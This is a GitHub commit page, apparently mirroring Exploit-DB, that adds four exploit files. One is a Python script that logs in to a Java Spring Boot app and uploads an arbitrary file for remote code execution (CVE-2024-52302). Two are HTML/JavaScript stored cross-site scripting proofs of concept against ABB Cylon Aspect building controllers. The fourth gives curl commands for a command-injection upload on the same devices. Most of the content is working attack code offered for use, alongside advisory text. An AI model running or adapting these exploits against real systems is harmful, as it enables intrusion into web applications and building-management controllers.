Skip to content

Commit 28e65e9

Browse files
author
certcc-ghbot
committed
Merge remote-tracking branch 'upstream/main'
2 parents 2862d21 + b905517 commit 28e65e9

File tree

22 files changed

+2333
-0
lines changed

22 files changed

+2333
-0
lines changed

‎exploits/java/webapps/52206.py‎

Lines changed: 96 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,96 @@
1+
# Exploit Title: Unrestricted File Upload
2+
# Google Dork:
3+
# Date: 14/Nov/2024
4+
# Exploit Author: d3sca
5+
# Vendor Homepage:
6+
https://github.com/OsamaTaher/Java-springboot-codebase
7+
# Software Link:
8+
https://github.com/OsamaTaher/Java-springboot-codebase
9+
# Version: [app version] 0.1
10+
# Tested on: Debian Linux
11+
# CVE : CVE-2024-52302
12+
13+
14+
# Steps to Reproduce:
15+
16+
# Upload Malicious File: Send a PUT request to /api/v1/customer/profile-picture using customer with role 26,17 added with a malicious file payload (e.g., .jsp, .php, .html).
17+
18+
# GET the file location: Send GET request /api/v1/customer/my-profile , grap the file location in response with the profile's link.
19+
20+
# Execute the Uploaded File: Using the file name access the file directly through the URL returned in the response.
21+
# If the server supports the uploaded file type, it will execute the file, leading to Remote Code Execution.
22+
23+
24+
import requests
25+
import argparse
26+
import sys
27+
28+
29+
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
30+
31+
def login(url, username, password):
32+
"""Authenticate with the API and return the Bearer token."""
33+
login_endpoint = f"{url}/api/v1/user/login"
34+
headers = {"Content-Type": "application/json"}
35+
payload = {
36+
"username": username,
37+
"password": password
38+
}
39+
40+
try:
41+
response = requests.post(login_endpoint, json=payload, headers=headers, verify=False)
42+
response.raise_for_status()
43+
44+
# Extract token
45+
token = response.json().get("token")
46+
if not token:
47+
print("[!] Token not found in response. Exiting.")
48+
sys.exit(1)
49+
50+
print("[+] Authentication successful. Token acquired.")
51+
return token
52+
except Exception as e:
53+
print(f"[!] Login failed: {e}")
54+
sys.exit(1)
55+
56+
def upload_file(url, token, file_path):
57+
"""Upload a file to the profile picture endpoint using the Bearer token."""
58+
upload_endpoint = f"{url}/api/v1/customer/profile-picture"
59+
headers = {
60+
"Authorization": f"Bearer {token}"
61+
}
62+
files = {
63+
"file": open(file_path, "rb")
64+
}
65+
66+
try:
67+
response = requests.post(upload_endpoint, headers=headers, files=files, verify=False)
68+
response.raise_for_status()
69+
70+
if response.status_code == 200:
71+
print("[+] File uploaded successfully.")
72+
print(f"[+] Response: {response.text}")
73+
else:
74+
print(f"[!] Failed to upload file. Status code: {response.status_code}")
75+
print(f"[!] Response: {response.text}")
76+
except Exception as e:
77+
print(f"[!] File upload failed: {e}")
78+
sys.exit(1)
79+
80+
def main():
81+
parser = argparse.ArgumentParser(description="Exploit script for unrestricted file upload vulnerability.")
82+
parser.add_argument("-u", "--username", required=True, help="Username for login")
83+
parser.add_argument("-p", "--password", required=True, help="Password for login")
84+
parser.add_argument("-f", "--file", required=True, help="File to upload")
85+
parser.add_argument("-url", "--url", required=True, help="Base URL of the target application (e.g., https://target.com)")
86+
87+
args = parser.parse_args()
88+
89+
# Authenticate
90+
token = login(args.url, args.username, args.password)
91+
92+
# Upload the file
93+
upload_file(args.url, token, args.file)
94+
95+
if __name__ == "__main__":
96+
main()

‎exploits/multiple/hardware/52214.txt‎

Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
ABB Cylon Aspect 3.08.02 (licenseServerUpdate.php) Stored Cross-Site Scripting
2+
Vendor: ABB Ltd.
3+
Product web page: https://www.global.abb
4+
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
5+
Firmware: <=3.08.02
6+
7+
Summary: ASPECT is an award-winning scalable building energy management
8+
and control solution designed to allow users seamless access to their
9+
building data through standard building protocols including smart devices.
10+
11+
Desc: The ABB BMS/BAS controller suffers from an authenticated stored cross-site
12+
scripting vulnerability. Input passed to the 'host' POST parameter is not
13+
properly sanitised before being returned to the user. This can be exploited
14+
to execute arbitrary HTML/JS code in a user's browser session in context of
15+
an affected site.
16+
17+
Tested on: GNU/Linux 3.15.10 (armv7l)
18+
GNU/Linux 3.10.0 (x86_64)
19+
GNU/Linux 2.6.32 (x86_64)
20+
Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
21+
Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
22+
PHP/7.3.11
23+
PHP/5.6.30
24+
PHP/5.4.16
25+
PHP/4.4.8
26+
PHP/5.3.3
27+
AspectFT Automation Application Server
28+
lighttpd/1.4.32
29+
lighttpd/1.4.18
30+
Apache/2.2.15 (CentOS)
31+
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
32+
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
33+
ErgoTech MIX Deployment Server 2.0.0
34+
35+
36+
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
37+
@zeroscience
38+
39+
40+
Advisory ID: ZSL-2025-5906
41+
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5906.php
42+
CVE ID: CVE-2024-6516
43+
CVE URL: CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-6516
44+
45+
46+
21.04.2024
47+
48+
-->
49+
50+
51+
52+
P R O J E C T
53+
54+
.|
55+
| |
56+
|'| ._____
57+
___ | | |. |' .---"|
58+
_ .-' '-. | | .--'| || | _| |
59+
.-'| _.| | || '-__ | | | || |
60+
|' | |. | || | | | | || |
61+
____| '-' ' "" '-' '-.' '` |____
62+
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░
63+
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
64+
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
65+
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
66+
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
67+
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
68+
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
69+
░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░
70+
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
71+
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░
72+
░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
73+
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
74+
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
75+
░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░
76+
77+
78+
<body>
79+
<form action="http://192.168.73.31/licenseServerUpdate.php" method="post">
80+
<input type="hidden" name="licenseServer" value="Server" />
81+
<input type="hidden" name="host" value="'><script>confirm(document.domain)</script>" />
82+
<input type="submit" value="Submit" />
83+
</form>
84+
</body>
85+
</html>

‎exploits/multiple/hardware/52215.txt‎

Lines changed: 115 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,115 @@
1+
ABB Cylon Aspect 3.08.02 (licenseUpload.php) Stored Cross-Site Scripting
2+
Vendor: ABB Ltd.
3+
Product web page: https://www.global.abb
4+
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
5+
Firmware: <=3.08.02
6+
7+
Summary: ASPECT is an award-winning scalable building energy management
8+
and control solution designed to allow users seamless access to their
9+
building data through standard building protocols including smart devices.
10+
11+
Desc: The ABB Cylon Aspect BMS/BAS controller suffers from an authenticated
12+
stored cross-site scripting (XSS) vulnerability. This can be exploited by
13+
uploading a malicious .txt file containing an XSS payload, which is stored
14+
on the server and served back to users. Although the filename is sanitized
15+
via the filename POST parameter, the file contents are not inspected or
16+
sanitized, allowing attackers to inject arbitrary client-side scripts that
17+
execute in the context of any user accessing the infected file or related
18+
web page (license.php). To bypass file upload checks, the request must include
19+
the Variant string enabling the upload process for potential exploitation.
20+
21+
Tested on: GNU/Linux 3.15.10 (armv7l)
22+
GNU/Linux 3.10.0 (x86_64)
23+
GNU/Linux 2.6.32 (x86_64)
24+
Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
25+
Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
26+
PHP/7.3.11
27+
PHP/5.6.30
28+
PHP/5.4.16
29+
PHP/4.4.8
30+
PHP/5.3.3
31+
AspectFT Automation Application Server
32+
lighttpd/1.4.32
33+
lighttpd/1.4.18
34+
Apache/2.2.15 (CentOS)
35+
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
36+
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
37+
ErgoTech MIX Deployment Server 2.0.0
38+
39+
40+
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
41+
@zeroscience
42+
43+
44+
Advisory ID: ZSL-2025-5905
45+
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5905.php
46+
CVE ID: CVE-2024-6516
47+
CVE URL: CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-6516
48+
49+
50+
21.04.2024
51+
52+
-->
53+
54+
55+
56+
P R O J E C T
57+
58+
.|
59+
| |
60+
|'| ._____
61+
___ | | |. |' .---"|
62+
_ .-' '-. | | .--'| || | _| |
63+
.-'| _.| | || '-__ | | | || |
64+
|' | |. | || | | | | || |
65+
____| '-' ' "" '-' '-.' '` |____
66+
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░
67+
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
68+
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
69+
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
70+
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
71+
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
72+
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
73+
░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░
74+
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
75+
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░
76+
░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
77+
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
78+
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
79+
░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░
80+
81+
82+
<html>
83+
<body>
84+
<script>
85+
function storeit()
86+
{
87+
var xhr = new XMLHttpRequest();
88+
xhr.open("POST", "http:\/\/192.168.73.31\/licenseUpload.php", true);
89+
xhr.setRequestHeader("Accept-Language", "mk-MK,mk;q=0.7");
90+
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundarymcNoKljWbBWAldlr");
91+
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7");
92+
xhr.withCredentials = true;
93+
var body = "------WebKitFormBoundarymcNoKljWbBWAldlr\r\n" +
94+
"Content-Disposition: form-data; name=\"userfile\"; filename=\"test.txt\"\r\n" +
95+
"Content-Type: text/lic\r\n" +
96+
"\r\n" +
97+
"Variant = AspectMAX\r\n" +
98+
"\x3cscript\x3econfirm(251)\x3c/script\x3e\r\n" +
99+
"------WebKitFormBoundarymcNoKljWbBWAldlr\r\n" +
100+
"Content-Disposition: form-data; name=\"submit\"\r\n" +
101+
"\r\n" +
102+
"Upload\r\n" +
103+
"------WebKitFormBoundarymcNoKljWbBWAldlr--\r\n";
104+
var aBody = new Uint8Array(body.length);
105+
for (var i = 0; i < aBody.length; i++)
106+
aBody[i] = body.charCodeAt(i);
107+
xhr.send(new Blob([aBody]));
108+
}
109+
storeit();
110+
</script>
111+
<form action="#">
112+
<input type="button" value="Post" onclick="storeit();" />
113+
</form>
114+
</body>
115+
</html>

‎exploits/multiple/hardware/52216.txt‎

Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
ABB Cylon Aspect 3.08.02 (uploadDb.php) - Remote Code Execution
2+
3+
4+
Vendor: ABB Ltd.
5+
Product web page: https://www.global.abb
6+
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
7+
Firmware: <=3.08.02
8+
9+
Summary: ASPECT is an award-winning scalable building energy management
10+
and control solution designed to allow users seamless access to their
11+
building data through standard building protocols including smart devices.
12+
13+
Desc: The ABB Cylon Aspect BMS/BAS controller suffers from an authenticated
14+
OS command injection vulnerability. This can be exploited to inject and execute
15+
arbitrary shell commands through the contents of an uploaded .db file, which
16+
is passed to the copyFile.sh script. Although the filename is sanitized, the
17+
contents of the .db file are not, allowing attackers to inject malicious commands
18+
that are executed on the server.
19+
20+
Tested on: GNU/Linux 3.15.10 (armv7l)
21+
GNU/Linux 3.10.0 (x86_64)
22+
GNU/Linux 2.6.32 (x86_64)
23+
Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
24+
Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
25+
PHP/7.3.11
26+
PHP/5.6.30
27+
PHP/5.4.16
28+
PHP/4.4.8
29+
PHP/5.3.3
30+
AspectFT Automation Application Server
31+
lighttpd/1.4.32
32+
lighttpd/1.4.18
33+
Apache/2.2.15 (CentOS)
34+
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
35+
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
36+
ErgoTech MIX Deployment Server 2.0.0
37+
38+
39+
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
40+
@zeroscience
41+
42+
43+
Advisory ID: ZSL-2025-5904
44+
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5904.php
45+
CVE ID: CVE-2024-48839
46+
CVE URL: CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-48839
47+
48+
49+
21.04.2024
50+
51+
--
52+
53+
54+
$ cat project
55+
56+
P R O J E C T
57+
58+
.|
59+
| |
60+
|'| ._____
61+
___ | | |. |' .---"|
62+
_ .-' '-. | | .--'| || | _| |
63+
.-'| _.| | || '-__ | | | || |
64+
|' | |. | || | | | | || |
65+
____| '-' ' "" '-' '-.' '` |____
66+
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░
67+
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
68+
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
69+
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
70+
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
71+
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
72+
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
73+
░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░
74+
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
75+
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░
76+
░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
77+
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
78+
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
79+
░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░
80+
81+
82+
$ curl -s http://192.168.73.31/uploadDb.php \
83+
> -H "Cookie: PHPSESSID=xxx" \
84+
> -F "userfile=@testingus.db"
85+
86+
$ curl http://192.168.73.31/database/testingus.db

0 commit comments

Comments
 (0)